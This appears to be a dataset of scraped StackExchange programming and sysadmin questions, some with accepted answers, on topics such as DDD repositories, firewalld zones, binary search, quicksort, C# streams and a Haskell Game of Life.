{  "id": "_softwareengineering.355968"  , "question": "Imagine you have a Vehicle entity in your domain model. Vehicle entity has Reserve method that put vehicle in reserved state and do another stuff. But Reserve method have to do some checking first to ensure that reservation could be done. This checking is done by legacy stored procedure that have to be called as a part of reservation process. Stored procedure call is encapsulated in repository method.The question:Should I pass repository as a parameter of domain entity method if method interacts with data storage? Are there any drawbacks of such a solution? Are there alternatives?The sample:class VehicleRepository: IVehicleRepository {    public bool IsReserveAvailable() {        // call stored proc here    }}class Vehicle {    public void Reserve (IVehicleRepository vehicleRepository) {        bool isReserveAvailable = vehicleRepository.IsReserveAvailable();        if (isReserveAvailable) {            // do stuff ...        }    }}"  , "title": "DDD: should entity method use repository for stored procedures (not CRUD)?"  , "tags": "domain driven design;repository;stored procedures"  , "accepted_answer": "The advantage of having the Method on the vehicle class is that it matches your business language. I want to reserve the vehicle please!The disadvantage is that whenever you have a vehicle, you have to also have the dependent service around in case you want  to reserve it.If you can refactor it out of the sproc so that it is only a logic operation on the members of Vehicle great. But if you can't, because the operation relies on information outside of the Vehicle, such as knowledge of all other vehicles, then you might want to consider a VehicleReservationService class which you pass the Vehicle object to. After all, you are really only hiding the existence of this service with Vehicle.Reserve(IDependency repo). Sometimes the business language is wrong and needs to change,Clarification:No. You should not pass the repository. Either move code out of the db if it can be made a pure function of Vehicle. Or create a VehicleResevationService to deal wth reservations.Sample:public class Vehicle{    public bool Reserve()    {        if(this.x && this.y)        {            this.Status = reserved;            return true;        }        return false;    }}public class VehicleReservationService{    public VehicleReservationService(IRepository repo)    {        this.repo = repo;    }    public bool Reserve(Vehicle v)    {        return repo.Reserve(v.Id, v.OtherParametersOfSproc);    }}"  } 
{  "id": "_unix.308794"  , "question": "I'm using ansible for adding zones to my firewall on a Centos machine.  Didn't realize until it (almost) too late, that I'm not getting the IN_Internal interface working, it's all going to public, which is the default defined by firewalld.conf.This is my internal.xml<?xml version=1.0 encoding=utf-8?>  <zone>  <short>Internal</short>  <description>For use on internal networks. You mostly trust the other computers on the networks to not harm your computer. Only selected incoming connections are accepted.</description>  <interface name=eth0/>  <service name=ipp-client/>  <service name=mdns/>  <service name=dhcpv6-client/>  <service name=ssh/>  </zone>doesn't seem like it's getting used at all. because, for whatever reason I wind up with: Chain IN_internal (0 references)      2   120 IN_public  all  --  eth0   *       0.0.0.0/0            0.0.0.0/0           [goto]Can't see why that's what's happening there. When I do firewall-cmd --zone=internal --change-interface=eth0 and it works (even after I reload the firewall), but it's exactly the same XMLSince I'm deploying my settings with ansible, and not running firewall-cmd on the machine, I'd like to know what firewall-cmd is doing behind the scenes so that I can push out those configs. "  , "title": "Where is the zone actually configured for an interface in firewalld?"  , "tags": "firewalld;ansible"  } 
{  "id": "_codereview.5363"  , "question": "My implementation:Array.prototype.binarySearchFast = function(search) {  var size = this.length,      high = size -1,      low = 0;  while (high > low) {    if (this[low] === search) return low;    else if (this[high] === search) return high;    target = (((search - this[low]) / (this[high] - this[low])) * (high - low)) >>> 0;    if (this[target] === search) return target;    else if (search > this[target]) low = target + 1, high--;    else high = target - 1, low++;  }  return -1;};Normal Implementation:Array.prototype.binarySearch = function(find) {  var low = 0, high = this.length - 1,      i, comparison;  while (low <= high) {    i = Math.floor((low + high) / 2);    if (this[i] < find) { low = i + 1; continue; };    if (this[i] > find) { high = i - 1; continue; };    return i;  }  return null;};The difference being my implementation makes a guess at the index of the value based on the values at the start and end positions instead of just going straight to the middle value each time.I wondered if anyone could think of any case scenarios where this would be slower than the original implementation.UPDATE:Sorry for the bad examples. I have now made them a little easier to understand and have setup some tests on jsPerf. See here:http://jsperf.com/binary-search-2I'm seeing about 75% improvement by using my method."  , "title": "Efficient Binary Search"  , "tags": "javascript;algorithm;search;binary search"  } 
{  "id": "_unix.98831"  , "question": "I'm trying to use a bash script to process a webserver log file and replace any IP's it finds with their corresponding DNS hostnames.An example entry of a single line from the log file is:<12>1 2013-11-04T15:04:05+00:00 networkname kernel - - - kernel: [161030.740000] ACCEPT IN=br0 OUT= MAC=00:11:22:33:44:11:00:11:11:11:11:11:11:11 SRC=192.168.1.6 DST=192.168.1.1 LEN=71 TOS=0x00 PREC=0x00 TTL=64 ID=30324 DF PROTO=UDP SPT=43729 DPT=53 LEN=51 (I have changed all private details in the above line for example purposes).So above, the two fields SRC=192.168.1.6 and DST=192.168.1.1 contain IP addresses, that I need to convert into DNS hostnames (I understand they are just internal addresses, this is just as an example).This is what I have come up with so far for my script:#!/bin/bashlogFile=$1while read linedo    for word in $line    do            # if word is ip address change to hostname            if [[ $word =~ 'DST='^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$ ]]            then                    # check if ip address is correct                    ip=($word) | cut -d'=' -f 2                    echo -n `nslookup $word | grep Name | cut -d' ' -f 8`                    echo -n              # else print word            else                    echo -n $word                    echo -n              fi    done    # new line    echodone < $logFileThe part that is throwing me is interpreting the DST= and SRC= fields as an IP address, I'm not really sure of the syntax to strip this off prior to DNS processing, then adding it back on following DNS processing, or if there is a better way?I did search the forums in advance and found the following article:resolve all ip addresses in command output using standard command line toolsHowever it didn't seem to work, potentially given the format of my log files."  , "title": "Converting Webserver Logged IP Addresses to DNS"  , "tags": "bash;networking;dns;ip;bash script"  } 
{  "id": "_codereview.121065"  , "question": "I have a pseudosite, where I actually post small functions, so that I can re-use them*, but some posts have visitors. The top is Quicksort (C++). I feel that beginners visit it, so I do not care in improving (its poor) performance, but only the readability, so that the beginner can catch things more easily.#include <iostream>void quickSort(int a[], int first, int last);int pivot(int a[], int first, int last);void swap(int& a, int& b);void swapNoTemp(int& a, int& b);void print(int array[], const int& N);using namespace std;int main(){    int test[] = { 7, -13, 1, 3, 10, 5, 2, 4 };    int N = sizeof(test)/sizeof(int);    cout << Size of test array :  << N << endl;    cout << Before sorting :  << endl;    print(test, N);    quickSort(test, 0, N-1);    cout << endl << endl << After sorting :  << endl;    print(test, N);    return 0;}/** * Quicksort. * @param a - The array to be sorted. * @param first - The start of the sequence to be sorted. * @param last - The end of the sequence to be sorted.*/void quickSort( int a[], int first, int last ) {    int pivotElement;    if(first < last)    {        pivotElement = pivot(a, first, last);        quickSort(a, first, pivotElement-1);        quickSort(a, pivotElement+1, last);    }}/** * Find and return the index of pivot element. * @param a - The array. * @param first - The start of the sequence. * @param last - The end of the sequence. * @return - the pivot element*/int pivot(int a[], int first, int last) {    int  p = first;    int pivotElement = a[first];    for(int i = first+1 ; i <= last ; i++)    {        /* If you want to sort the list in the other order, change <= to > */        if(a[i] <= pivotElement)        {            p++;            swap(a[i], a[p]);        }    }    swap(a[p], a[first]);    return p;}/** * Swap the parameters. * @param a - The first parameter. * @param b - The second parameter.*/void swap(int& a, int& b){    int temp = a;    a = b;    b = temp;}/** * Swap the parameters without a temp variable. * Warning! Prone to overflow/underflow. * @param a - The first parameter. * @param b - The second parameter.*/void swapNoTemp(int& a, int& b){    a -= b;    b += a;// b gets the original value of a    a = (b - a);// a gets the original value of b}/** * Print an array. * @param a - The array. * @param N - The size of the array.*/void print(int a[], const int& N){    for(int i = 0 ; i < N ; i++)        cout << array[ << i << ] =  << a[i] << endl;} As you see, I use many things from C, since I wanted the code to be able to work in a C program with minor modifications, thus I am adding c tag too.*since I find it easier to find them there than in my FS and it helps in restoring harmony after a nuke."  , "title": "Quicksort for a pseudosite"  , "tags": "c++;c;sorting;quick sort"  , "accepted_answer": "Only small/minor issues:Since code it to be portable to C with minor mods, suggest demarcating that which is sort code from test code.  Its appears the sort code is only these 3.  Do not mix test code with the application code.  Better in separate files.void quickSort( int a[], int first, int last ) int pivot(int a[], int first, int last) void swap(int& a, int& b)pivot(), swap() should be static functions.  No need for them outside this file.Minor: int vs. size_t.  An int index may lack sufficient range to index an array.  Use size_t as that is Goldilocks type neither to narrow nor wide a type to handle all array sizes - it is just right.  As size_t is some unsigned type, watch out for attempting to create negative values.  I did not notice any issue for your code concerning that.// int N = sizeof(test)/sizeof(int);size_t N = sizeof(test)/sizeof(int);// void quickSort( int a[], int first, int last )void quickSort( int a[], size_t first, size_t last )// int pivot(int a[], int first, int last) size_t pivot(int a[], size_t first, size_t last) The sort would works well with other types beside int.   Perhaps code that way.typedef int sort_type;     void quickSort(sort_type a[], size_t first, size_t last ) Function signature: Rather than oblige the calling code to supply 0, n-1, create a top level call:void quickSortTop(sort_type a[], size_t size) {  if (size) quickSort(a, 0, size-1);}Minor: Keep local variables as local as able.  pivotElement could be declared and initialized in 1 step local to the if() block as it is not used outside the block.  This borders on style issues, but as a rule, limiting variable scope is easier to see its use and impact.int pivotElement;  // here if(first < last) {    int pivotElement = pivot(a, first, last); // or here    quickSort(a, first, pivotElement-1);    quickSort(a, pivotElement+1, last);}Minor: Correct comment?  I would think to reverse the order a >= would be needed.  If this is not so, then I would expect < to work slightly faster than <=./* If you want to sort the list in the other order, change <= to > *//* If you want to sort the list in the other order, change <= to >= */Minor: Dead code swapNoTemp().  No explanation for its existance here."  } 
{  "id": "_codereview.30029"  , "question": "I have a piece of code that has a bit of a problem. Not that it doesn't work, though.  The problem I am having is figuring out the optimal way of working with the MemoryStream, which I find quite difficult to do in this case.while (checkBox1.Checked && tt1.Connected)   {       tcpstream.Read(lenArray, 0, 4);       read = false;       Int32 length = BitConverter.ToInt32(lenArray, 0);       var tempBytes = new byte[length];       texturestream = new MemoryStream(tempBytes);       int currentPosition = 0;       while (currentPosition < length && checkBox1.Checked)       {           currentPosition += tcpstream.Read(tempBytes, currentPosition, length - currentPosition);       }       AutoReset.Set();   }}As you can see, I'm making the texturestream over and over again (which contains tempBytes).From my perspective, I can't understand why I need to even have a byte array.  Isn't it possible to just write to the MemoryStream immediately?  And just have the MemoryStream made outside the loop with a Using, and then reuse the same thing over and over (as they are dynamic with their size)?I have tried making this possible, but it doesn't work.I was thinking something like this:tcpstream.read(texturestream.GetBuffer(),...,...)I thought that would make it read to the MemoryStream instead of the byte array, which then goes into the MemoryStream.But, it didn't work, so I am at a loss at what can be done with these loops.Any ideas?EDIT:So if you check the first code, its a simply while loop, its reading 4 byte, then gets the int data from that (BitConverter). This is the Length of the TCP stream, which is why i remake it every loop, as i send the new length etc.Then i take the tcpstream and set it into a bytearray, then write that array to the MemoryStream.This isnt what i would like to do however, i dont really need a byte array in the first place. I however probably need a MemoryStream, though not totally sure, i may be able to work without one. It depends as i use 2 threads that works in parallel, so one is reading while the other receives and fill the memorystream.So if i use only tcp stream, i think it would take longer time, as if the total operation would have to halt to complete it.If i use a MemoryStream the tcpstream can continue to work, by getting the length and writing to a byte array etc, until it writes to the MemoryStream (when it reaches that, the other thread will already have read the data from it).So here is the reading Thread:SharpDX.Windows.RenderLoop.Run(form, () =>{    AutoReset.WaitOne();    if (read == true)    {        sprite.Begin(SharpDX.Direct3D9.SpriteFlags.None);        device.BeginScene();        texturestream.Position = 0;        try        {        using (tx = SharpDX.Direct3D9.Texture.FromStream(device, texturestream, -2, -2, 1, SharpDX.Direct3D9.Usage.None, SharpDX.Direct3D9.Format.X8R8G8B8, SharpDX.Direct3D9.Pool.Default, SharpDX.Direct3D9.Filter.None, SharpDX.Direct3D9.Filter.None, 0))            {                sprite.Draw(tx, new ColorBGRA(0xffffffff));                if (tx.GetLevelDescription(0).Width != form.Width || tx.GetLevelDescription(0).Height != form.Height)                {                     wid = tx.GetLevelDescription(0).Width;                     heg = tx.GetLevelDescription(0).Height;                     if (heg * wid > 40000)                     {                         form.Height = heg;                         form.Width = wid;                         presentParams.BackBufferHeight = heg;                         presentParams.BackBufferWidth = wid;                         device.Reset(presentParams);                     }                     Console.WriteLine(Width: + tx.GetLevelDescription(0).Width +  Height: + tx.GetLevelDescription(0).Height);                }            }        }        catch (Exception ex)        {            //if (ex is SharpDX.SharpDXException)             MessageBox.Show(ex.Message, Rendering);        }        sprite.End();        device.EndScene();        device.Present();    }});Sorry for the mess.But here i have a rendering loop, and while not ideal, it does the work currently.So, it only runt after the receiving thread has told it to(right after it has written to the MemoryStream). And i also have a Bool just for safety.And then it does its device things, and finally reads the Texture from the MemoryStream.And then, draws it.So thats basically what the MemoryStream is used for.1 Threads writes, 1 Threads reads, pretty much like that.Hope this is the information needed.EDIT 2:So here it is currently with, the MemoryStream outside the loop, and using write, and reset the position right before the write. So the MemoryStream will only be as big, as the biggest written data at one time.                 using (texturestream = new MemoryStream())                            {                                while (checkBox1.Checked && tt1.Connected)                                {                                    tt1.GetStream().Read(lenArray, 0, 4);                                    read = false;                                    var length = BitConverter.ToInt32(lenArray, 0);                                    var tempBytes = new byte[length];                                    int currentPosition = 0;                                    while (currentPosition < length && checkBox1.Checked && tt1.Connected)                                    {                                        currentPosition += tt1.GetStream().Read(tempBytes, currentPosition, (int)length - currentPosition);                                    }                                    texturestream.Position = 0;                                    texturestream.Write(tempBytes, 0, (int)length);                                    read = true;                                    AutoReset.Set();                                }                            }But, i would like to prevent having to use a byte array as a middle hand, cant i write to the memorystream directly?And, about this:while (currentPosition < length && checkBox1.Checked && tt1.Connected)                                        {                                            currentPosition += tt1.GetStream().Read(tempBytes, currentPosition, (int)length - currentPosition);                                        }if i Dont have  (int)length - currentPosition , it wont work.I have tried using this:tt1.GetStream().Read(tempBytes,0,(int)length);And only that, without a while loop. And that doesnt work, i think it can work one time or so. Not sure why it doesnt work though, as it should work in my eyes.I mean, i tell it to read the length of the data, so i see no reason for it to fail.(The fail is System.OverflowException, Arithmetic Overflow).EDIT 3:Missed the first parts that you wrote.I would gladly hear how you would embed the size, please tell.And, CopyTo, is probably as you say, i think i tried it before sometime.But i dont get why i have to allocate a Byte Array, if i have a MemoryStream, i should be able to simple Stream the TCPStream into the MemoryStream (at least i think so).I tried: tt1.GetStream().CopyTo(texturestream);And that didnt work as i cant tell when its supposed to stop (it reads on forever).EDIT 3:Okay as you said, the streams goes on Forever, i always sends new data, and always reads new data. So this is why embed the size at the first 4 byte.If you know a better way of doing this, please tell.And for the MemoryStream, am i suppose to use Write?As i gess thats the only way to write to the MemoryStream without remaking it.Sadly, from my tests, this:            while (currentPosition < length && checkBox1.Checked && tt1.Connected)            {                currentPosition += tt1.GetStream().Read(tempBytes, currentPosition, length - currentPosition);            }            texturestream.Position = 0;            texturestream.Write(tempBytes, 0, length);Which has Using texturestream outside of the loop, is slower than:         texturestream = new MemoryStream(tempBytes);            while (currentPosition < length && checkBox1.Checked && tt1.Connected)            {                currentPosition += tt1.GetStream().Read(tempBytes, currentPosition, length - currentPosition);            }Though, here i can also have Using outside, so it will dispose of it after the while loop.But i think its faster cause the tempBytes is linked to the MemoryStream, so writing to the tempBytes will write to the MemoryStream.But i dont understand this:Finally - if your application logic allows - then don't use  using(textureStream = new MemoryStream()).Why shouldnt i use Using?Using does exactly the same thing you mention, it disposes when i am done, which is when the loop ends."  , "title": "Can this be improved by working directly with the MemoryStream?"  , "tags": "c#"  , "accepted_answer": "Edit - rewrite my entire answerFirst off, I kind of misunderstood the purpose of lenArray. I sort of get it now, although I don't fully understand why your app is designed like that. I would perhaps use other means of getting Length instead of embedding that value into the stream, but that is besides the point.Perhaps the true answer you are looking for then is - each stream has a CopyTo() method. So you can perhaps use that. This way you avoid having to create a seperate byte array. Although I think what you end up winning is simply code clarity (less lines of code), because the CopyTo method has to internaly do the exact same thing you are doing now. Allocate memory (byte array) for MemoryStream and write bytes into it.The documentation isn't very clear about it though. In that I can't be certain if it will copy the entire stream (with your 4 byte embedded length that you don't need to represent your texture) or as a MSDN comment suggests, it will only copy from the current stream position, in which case you could simply seek over the embedded length if you can't remove it to begin with. So you need to test that out yourself.Other things worth mentioningYou can avoid having to constantly reallocate the MemoryStream in the loop. Move the declaration outside the loop, at the start of the loop call the .Seek(0, SeekOrigin.Begin) method. That way you can rewrite the internal MemoryStream data with the new data and don't incur the performance penalty of allocating and garbage collecting new objects. If your stream length changes based on the texture, then also call the .SetLength() method to make your MemoryStream of the correct size. For all of this to work your app logic must be sound, in that one thread doesn't read the MemoryStream wile another is rewriting it etc.Finally, looking at your original code example. You are wasting CPU cycles (unless the compiler is smart enough to otimize this) here:currentPosition += tcpstream.Read(tempBytes, currentPosition, length - currentPosition);Before this line you set currentPosition = 0;, which means you are effectively sayinglength - 0, that is a pointless substraction.Edit 2With length - currentPosition - I stand corrected, I overlooked the while loop, sorry about that.I tried: tt1.GetStream().CopyTo(texturestream); And that didnt work as i cant tell when its supposed to stop (it reads on forever).It will continue on forever if your tcpStream never stops/closes. I'm thinking that is the case. That you are continually streaming textures with different sizes and it would be the only reason that I can currently think of, why you would embed the length in the stream (otherwise you could simply access stream.Length and use that)...From my perspective, I can't understand why I need to even have a byte array. Isn't it possible to just write to the MemoryStream immediately?But, i would like to prevent having to use a byte array as a middle hand, cant i write to the memorystream directly?In that case you don't quite understand how streams work. In order to work with a stream (Read or Write) you need finite things. A byte array is a fixed finite thing. A stream in of itself doesn't convey a finite construct, it's kind of an abstract concept. I'm struggling to think of a good analogy here...Suffice it to say, that there doesn't exist a write API/method for a stream that accepts another stream (apart from CopyTo). Thus your only option is to read into a byte array from the source stream and then write that byte array content to the destination stream. End of story.Finally - if your application logic allows - then don't use using(textureStream = new MemoryStream()). You are (if I understand correctly what your app is doing) constantly allocating in a loop new relatively short lived MemoryStream objects that will have to be garbage collected. Simply write MemoryStream textureStream = new MemoryStream(); outside your loop. Seek to the beginning at each loop iteration, then rewrite the old information with new data from tcpStream (if necessary also call textureStream.SetLength()). Once your application closes or you stop showing your constant stream of textures, then call textureStream.Dispose(); This way you reuse your object and don't apply unnecessary memory pressure or waste CPU cycles.Edit 3Okay as you said, the streams goes on Forever, i always sends new data, and always reads new data. So this is why embed the size at the first 4 byte. If you know a better way of doing this, please tell.Most likely that is the best way to do it, unless you consider opening a different tcpStream for each texture.And for the MemoryStream, am i suppose to use Write? As i gess thats the only way to write to the MemoryStream without remaking it.Apart from CopyTo and WriteByte, yes Write is the only construct to write to a MemoryStream. There are other means to get the same end result, if they apply, which is discussed next.Which has Using texturestream outside of the loop, is slower than:We'll the two pieces of code behave very differently. In your example, where you have MemoryStream outside of loop, this is happening:tcpStream references memory X.tempBytes references memory Y.new MemoryStream() references memory Z;You are now doing 2 memory copies. One from X -> Y (tcpStream.Read(tempBytes...)), and then Y -> Z (textureStream.Write(tempBytes...)). Now consider your other example with textureStream = new MemoryStream(tempBytes); inside the loop. This statement effectively means, that the new MemoryStream references existing memory Y not Z. So you end up doing only one direct memory copyX -> Y. As you read from tcpStream into tempBytes, the textureStream will already contain that information because it is based on tempBytes.That is why it is faster.But i think its faster cause the tempBytes is linked to the MemoryStream, so writing to the tempBytes will write to the MemoryStream.Just noticed this, so yes, you came to the same conclusion I was trying to make.Why shouldnt i use Using? Using does exactly the same thing you mention, it disposes when i am done, which is when the loop ends.What is it with me and while loops today? Again completely overlooked that you don't go out of the outer while loop, which at first I thought you did, thus disposing the textureStream, then as you would re-enter you would have re-created it... Pardon me, ignore my previous statement about this subject.OptimizationSharpDX.Direct3D9.Texture has a method called FromMemory(), which takes a byte array as one of its argument. It would seem if that method is more apropriate in your scenario, because that way you can completely avoid using textureStream. Simply pass in tempBytes and job done (I assume).Race conditionYou use read as a thread synchronization mechanism, but you are not using any locking. That can lead to the following race condition (which might not effect your app or maybe it needs to work like that):After this code has taken place:texturestream.Write(tempBytes, 0, (int)length);read = true;AutoReset.Set();That same thread can go back to the beginning of the loop and set read = false; before the other thread has a chance to continue. Thus you will miss an entire texutre, because calling AutoReset.Set(); doesn't mean that the other thread will start execution immediately. Or worse yet, the second thread can start, evaluate if (read == true) and go in, then pause. Now the first thread continues, reads half the bytes from tcpStream and writes it into textureStream, then pauses. As the second thread now continues it will get a garbeled texutreStream. A System.Collections.Concurrent.ConcurrentQueue<T> might be a better fit in this case. You put stuff in from the tcpStream and the other thread checks if anything is queued, if so then displays that stuff."  } 
{  "id": "_cstheory.17427"  , "question": "I need a simple augmentation to support median/order statistic queries in O(log log n) time,without increasing the time for other operations."  , "title": "Give a simple way to augment Van emde boas tree, to find/delete median in O(log log u) time"  , "tags": "ds.data structures"  } 
{  "id": "_codereview.68418"  , "question": "I code Haskell as a hobbyist. I'm interested in feedback on my naive implementation of Conway's Game of Life. Specifically, as stated in the Quick Tour of the website, I am interested in:Best practices and design pattern usageCorrectness in unanticipated casesAdmitting the naivete of the implementation, I'm not so much interested in security issues or performance, unless my implementation is just a totally unwise implementation. That is, if I might, for example, run three iterations of a 3x3 Blinker and kill the CPU. No matter how pretty I think my code, that's just stupid.First I list the test specifications. We don't currently use TDD at work, so I'm a bit inexperienced in TDD.module Life_Spec whereimport Test.Hspecimport Life-- Any live cell with fewer than two live neighbors dies.-- Any live cell with two or three live neighbors lives.-- Any live cell with more than three live neighbors dies.-- Any dead cell with exactly three live neighbors becomes live.main :: IO ()main = hspec $ do  describe Life $ do    it Returns a dead cell for a live cell with fewer than two live neighbors. $      generation (Alive, 1) `shouldBe` Dead    it Returns a live cell for a live cell with two or three live neighbors. $      generation (Alive, 2) `shouldBe` Alive    it Returns a live cell for a live cell with two or three live neighbors. $      generation (Alive, 3) `shouldBe` Alive    it Returns a dead cell for a live cell with more than three live neighbors. $      generation (Alive, 4) `shouldBe` Dead    it Returns a live cell for a dead cell with more exactly three live neighbors. $      generation (Dead, 3) `shouldBe` Alive    it Returns the indices of a cell's neighbors for a 3x3 grid. $      neighbors 0 [] [Dead, Alive, Dead] [Dead, Alive, Dead] `shouldBe` [Alive, Dead, Alive]    it Returns an empty Grid when given an empty Grid. $      gridGeneration (Grid []) `shouldBe` (Grid [])    it Successfully processes the 3x3 blinker grid. $      gridGeneration (Grid [[Dead, Alive, Dead],                            [Dead, Alive, Dead],                            [Dead, Alive, Dead]]) `shouldBe` (Grid [[Dead , Dead , Dead ],                                                                    [Alive, Alive, Alive],                                                                    [Dead , Dead , Dead ]])    it Successfully processes the 5x5 blinker grid. $      gridGeneration (Grid [[Dead, Dead, Dead , Dead, Dead],                            [Dead, Dead, Alive, Dead, Dead],                            [Dead, Dead, Alive, Dead, Dead],                            [Dead, Dead, Alive, Dead, Dead],                            [Dead, Dead, Dead , Dead, Dead]]) `shouldBe` (Grid [[Dead, Dead , Dead , Dead , Dead],                                                                                [Dead, Dead , Dead , Dead , Dead],                                                                                [Dead, Alive, Alive, Alive, Dead],                                                                                [Dead, Dead , Dead , Dead , Dead],                                                                                [Dead, Dead , Dead , Dead , Dead]])Next I list my implementation:module Life whereimport Data.Maybe (catMaybes)data State = Dead | Alive deriving (Eq, Show)newtype Grid = Grid [[State]] deriving (Eq, Show)generation :: (State, Int) -> Stategeneration (Alive, 2) = Alivegeneration (_    , 3) = Alivegeneration (_    , _) = Dead-- Surely this can be done more cleanly...neighbors :: Int -> [State] -> [State] -> [State] -> [State]neighbors x rowAbove rowOfX rowBelow =  let (w,y) = (x-1,x+1)      cs = [w, x, y, w, y, w, x, y]      rs = replicate 3 rowAbove ++ replicate 2 rowOfX ++ replicate 3 rowBelow   in catMaybes . map maybeCell $ zip rs cs  where maybeCell (r,c)          | c < 0         = Nothing          | c >= length r = Nothing          | otherwise     = Just (r!!c)gridGeneration :: Grid -> GridgridGeneration (Grid []) = Grid []gridGeneration (Grid rs@(row0:row1:row2:rows)) = Grid $ g ([]:rs)  where    g (r0:r1:r2:rs) = [processRow r0 r1 r2] ++ g (r1:r2:rs)    g (r0:r1:[])    = [processRow r0 r1 []]    g  _            = []    processRow r0 r1 r2 = reverse $ foldl p [] [0..(length r1 - 1)]      where p a n = (generation (r1!!n, live $ neighbors n r0 r1 r2)) : a            live = length . filter (==Alive)gridGeneration _ = undefined"  , "title": "(Yet Another) Conway's Game of Life in Haskell (Naive)"  , "tags": "haskell;unit testing;game of life"  , "accepted_answer": "Ideomatic codeHLint gave some hints,catMaybes . map maybeCell <=> mapMaybe maybeCelland a few superfluous brackets, but nothing big.Hlint doesn't catch some other unnecessarily convoluted formulations though:reverse $ foldl p [] someListp a n = f n : aIn Haskell, foldl is usually less efficient than foldr due to laziness. (In some cases you want to use the strict version foldl', but almost never foldl.)foldr p [] someListp n a = f n : aAnd this is completely equivalent to:map p someListp n = f nAnother example: Using a tuple instead of just two values as arguments to generation. This is not wrong, just unideomatic and doesn't serve any purpose (as far as I can see).generation :: (State, Int) -> Statewhy not usegeneration :: State -> Int -> StateFormattingYou can use formatting to emphasize structure:cols  = [w, x, y,         w,    y,         w, x, y]Use clear namesTestingYour tests looks good, you might want to add cases for smaller grids and non-square ones as well though. You might also consider if QuickCheck could be helpful, but I don't see any obvious properties, apart from that all functions should preserve length, but that is already (mostly) covered by the existing tests.Thanks for supplying tests, it helped me with verifying that my suggestions didn't break anything. :)Edit: According to Hspec documentation you are supposed to use one describe per function, not one per module as you did.Edge casesAs I said, you crash on grids with one or two rows, but your code actuallysupports them already (they are handled by g). Just remove the arbitrary constraint of needing at leastthree rows at the second case of gridGeneration (and remove the third case).gridGeneration (Grid rs) = Grid $ g ([]:rs)  where    ...The function g also handles empty grids correctly, so you can remove the first case as well.EfficiencyI know you weren't that interested in efficiency, but here it is anyways.Your code currently traverses the whole row for every single cell. Example:neighbors 0 [] [] $ repeat [Dead]Will never terminate, despite not really needing anything other than the first valueA good rule of thumb is that if you are indexing over lists, you're probably doing something wrong. And if you are iterating over all indexes of a list, you're definitely doing something wrong.Either use a different data structure or a different method. In the latter case, you could probably just use a fold or a map.In your case it is not as simple as that, but you can reuse (read factor out as a function) the pattern you used for traversing the neighboring rows, but for the columns. Misc pointsYou can loosen up the types of some functions, without changing any other code, like neighbors:neighbors :: Int -> [a] -> [a] -> [a] -> [a]This may or may not be better, but it's good to know, so you can factor out more generic functions and just keep the specific ones with the code.My versionWithout changing anything but formatting, names, adding type signatures and replacing equivalent constructs:module Life whereimport Data.Maybe (mapMaybe)data State = Dead | Alive deriving (Eq, Show)newtype Grid = Grid [[State]] deriving (Eq, Show)gridGeneration :: Grid -> GridgridGeneration (Grid rs) = Grid $ g ([]:rs)  where    g (r0:r1:r2:rs) = processRow r0 r1 r2 : g (r1:r2:rs)    g [r0,r1]       = [processRow r0 r1 []]    g  _            = []processRow :: [State] -> [State] -> [State] -> [State]processRow r0 r1 r2 = map updateCell [0..(length r1 - 1)]  where    updateCell n = generation (r1 !! n) (live $ neighbors n r0 r1 r2)    live         = length . filter (==Alive)neighbors :: Int -> [a] -> [a] -> [a] -> [a]neighbors x rowAbove rowOfX rowBelow = mapMaybe maybeCell $ zip rows cols  where    (w,y) = (x-1,x+1)    cols  = [w, x, y, -- Use formatting to indicate structure             w,    y,             w, x, y]    rows  = replicate 3 rowAbove ++            replicate 2 rowOfX   ++            replicate 3 rowBelow    maybeCell :: ([a], Int) -> Maybe a    maybeCell (r, idx)      | idx < 0         = Nothing      | idx >= length r = Nothing      | otherwise       = Just (r !! idx)generation :: State -> Int -> Stategeneration Alive 2 = Alivegeneration _     3 = Alivegeneration _     _ = DeadUpdate 1:With new algorithmI also remade the code with using the same method for traversing both rows and columns. I factored out the function g as map3 and added the padding first, to simplify things. Then I used zip3 to encapsulate the three lists, so I could map3 over them again.module Life whereimport Data.List (zip3)data State = Dead | Alive deriving (Eq, Show)newtype Grid = Grid [[State]] deriving (Eq, Show)gridGeneration :: Grid -> GridgridGeneration (Grid rs) = Grid $ map3 processRow (withEmptyRows . map withEmptyCols $ rs)  where    emptyRow = repeat Dead    withEmptyCols xs = Dead : xs ++ [Dead]    withEmptyRows xss = emptyRow : xss ++ [emptyRow]-- Map a function over each triplet of neighbouring valuesmap3 :: (a -> a -> a -> b) -> [a] -> [b]map3 f (x0:x1:x2:xs) = f x0 x1 x2 : map3 f (x1:x2:xs)map3 f _             = []processRow :: [State] -> [State] -> [State] -> [State]processRow r0 r1 r2 = map updateCell . map3 neighbors $ rows  where    rows :: [(State,State,State)]    rows = zip3 r0 r1 r2    updateCell (cell, neighs)  = generation cell (live neighs)    live  = length . filter (==Alive)neighbors :: (a,a,a) -> (a,a,a) -> (a,a,a) -> (a,[a])neighbors (x1,x2,x3)          (x4,x5,x6)          (x7,x8,x9) = (x5, [x1,x2,x3,                             x4,   x6,                             x7,x8,x9])generation :: State -> Int -> Stategeneration Alive 2 = Alivegeneration _     3 = Alivegeneration _     _ = DeadUpdate 2:Here is a Hspec for map3, using QuickCheck:  describe Life.map3 $ do    it Decreases the length of the list by two, but not to a negative length $      property $ \\xs -> length (map3 f xs) === 0 `max` (length xs - 2)        where f () () () = ()The fact that the type is completely generic (map3 :: (a->a->a->b)->[a]->[b]) means that it cannot do anything with the values, so we don't have to test for that."  } 
{  "id": "_unix.331581"  , "question": "I have computer A in which I run xclock program. I want to forward it's graphical interface to my pc, not directly but through computer B. Is it possible? I'm running xming on my pc.Resuming: A runs xclock > A forwards to B > B forwards to my PC. Is it possible?"  , "title": "Fordward xclock graphical interface"  , "tags": "solaris;xming"  } 
